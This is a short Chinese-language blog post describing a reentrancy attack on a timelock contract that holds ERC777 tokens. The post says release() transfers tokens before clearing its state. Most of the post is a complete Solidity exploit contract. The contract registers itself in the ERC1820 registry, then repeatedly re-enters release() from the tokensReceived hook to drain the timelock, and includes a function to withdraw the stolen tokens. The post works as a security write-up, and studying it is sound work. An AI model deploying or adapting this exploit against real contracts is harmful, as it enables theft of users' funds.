记一次使用ERC777代币重入攻击
漏洞代码

可以看到release函数,释放代币时,是先进行的转账处理,然后在清理的数据,加上token本身是777代币,那么这里就存在重入攻击。
这里主要讲怎么利用ERC777代币重入.首先看到_callTokensToSend函数,由于这里的from地址是该合约地址,那么这里就无法利用。
因为要利用_callTokensToSend函数回调的话,必须在ERC1820合约注册,而注册只能是from本身去注册。那么可以利用


Exp:
interface IERC777{
function balanceOf(address owner) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
}
contract Exp {
address public timelock;
address public ERC1820 = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24;
IERC777 MVE;
function settimelock(address a)public{
timelock = a;
}
function setToken(address a)public{
MVE = IERC777(a);
}
//回调
function tokensReceived(address operator,address from,address to,uint256 amount,bytes calldata userData,bytes calldata operatorData) external {
if(MVE.balanceOf(timelock)>0) {
address(timelock).call(abi.encodeWithSignature("release()"));
}
}
function hack() public {
address(ERC1820).call(abi.encodeWithSignature("setInterfaceImplementer(address,bytes32,address)", address(this), 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b, address(this)));//ERC1820合约注册
address(timelock).call(abi.encodeWithSignature("release()"));//执行函数
}
function withdrawtoken(IERC777 ERC20,address to) public {
uint amount = MVE.balanceOf(timelock);
ERC20.transfer(to,amount);
}
}

浙公网安备 33010602011771号